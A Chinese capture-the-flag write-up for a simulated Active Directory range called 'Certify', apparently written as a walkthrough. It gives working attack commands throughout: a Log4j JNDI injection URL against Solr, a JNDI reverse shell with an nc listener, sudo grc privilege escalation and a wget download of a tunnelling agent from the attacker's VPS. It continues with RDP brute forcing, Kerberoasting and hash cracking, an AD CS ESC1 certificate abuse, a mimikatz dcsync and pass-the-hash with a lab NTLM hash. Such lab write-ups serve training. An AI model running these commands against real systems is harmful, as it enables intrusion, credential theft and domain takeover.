[[仿真靶场-Certify]]
靶场介绍
Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
- Solr
- AD CS
- SMB
- Kerberos
- 域渗透
解题步骤
第一个flag
nmap扫描
80端口扫描目录无果
nmap全端口扫描
访问http://39.99.234.17:8983/solr/#/,是solr界面,可能存在log4j漏洞
访问http://39.99.234.17:8983/solr/admin/info/system?_=${jndi:ldap://1fed89d19d.ipv6.1433.eu.org}&wt=json
测试是否可以访问dnslog,如下,可访问,可能存在log4j漏洞
反弹shell
利用JNDI返回shell,在vps上
同时在vps开启监听
nc -lvnp 1234
ldap://x.x.x.x:1389/Basic/ReverseShell/vps的ip地址/1234
发送请求成功返回shell
solr用户未找到flag,需要提权至root用户
sudo -l,查看以sudo权限运行的文件,可以找到/usr/bin/grc
文件无需输入root密码即可以root身份运行
直接运行/usr/bin/grc
文件,输出如下,注意--pty参数
在https://gtfobins.github.io/gtfobins/grc/网站可以找到grc提权的方法
sudo grc --pty /bin/sh
获取第一个flag
第二个flag
查看服务器ip,solr服务器的ip地址是:172.22.9.19
上传fscan扫描
扫描后的信息整理如下:
172.22.9.7 XIAORANG\XIAORANG-DC #dc服务器
172.22.9.26 #域内机器
172.22.9.47 #fileserver
172.22.9.19 #solr服务器
注意:看了别人的wp,发现这里少了一台服务器,后面的两个flag就拿不到
将内网流量代理出来,用venom进行代理
1、vps上监听
./admin_linux_x64 -lport 9999
2、同时,vps上开启web服务
python3 -m http.server
3、solr靶机下载agent端
wget http://vps的ip地址:8000/agent_linux_x64
4、靶机运行venom的agent,连接服务端
./agent_linux_x64 -rhost vps的ip地址 -rport 9999
开启socks代理
先看下文件服务器,测试下是否存在文件共享
kali下修改/etc/proxychains4.conf文件,设置代理服务器
nmap扫描
proxychains -q nmap -sT -A 172.22.9.47
proxychains smbclient \\\\172.22.9.47\\fileshare
get personnel.db
get secret\flag02.txt
获取到第二个flag
tips:Yes, you have enumerated smb. But do you know what an SPN is?(确实,你已经提到了smb。但是,你是否了解SPN的含义呢?)
第三个flag
查看personnel.db文件,可以找到一些用户名和密码
导出用户名和密码,通过hydra爆破rdp,爆破了两个帐号,但无法登录
proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV
报错告诉我们账户可能有效,但似乎没有启用远程桌面功能。
根据flag02中的提示(确实,你已经提到了smb。但是,你是否了解SPN的含义呢?)
去获取域用户下的spn
proxychains -q python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
输入hydra爆破的密码
得到了krb5tgs的 Kerberos TGS-REP(Ticket-Granting Service Reply)票据的哈希
通过hashcat爆破
hashcat -m 13100 -a 0 hash.txt wordlist.txt
爆破出了zhangxia和chenchen的密码
密码如下:
MyPass2@<at-mention handle="6">@6
</at-mention>@Passw0rd@
rdp连接
proxychains xfreerdp /u:"[email protected]" /v:172.22.9.26:3389
成功访问了172.22.9.26的rdp
无法访问administrator目录,flag在这个目录下
第四个flag
ADCS ESC1
参考:
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/account-persistence
下载Certify文件,上传至172.22.9.26上
Certify下载:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
运行如下命令:
#查找易受攻击的证书模板
Certify.exe find /vulnerable
查看设置了msPKI-Certificate-Name-Flag: (0x1) ENROLLEE_SUPPLIES_SUBJECT标志的证书模版,利用这个漏洞冒充管理员
注:但是运行后报错,经排查发现此环境还有一台服务器没起来,172.22.9.13,这台服务器为CA服务器,后面重试了好几次都起不来。
正常来说这一步可以为域管理员申请证书,输出一个证书文件。然后将证书格式转换为.pfx格式。
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
然后使用Rubeus或certipy进行身份验证
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
获得票据后导出hash
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
运行上述命令后就可以获得域内用户和域管的hash。
hash传递
有hash之后就可以进行hash传递,获取域内用户权限
proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
同样的方式获取172.22.9.7(域管的权限)
proxychains crackmapexec smb 172.22.9.7 -u administrator -H00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type c:\Users\Administrator\flag\flag04.txt"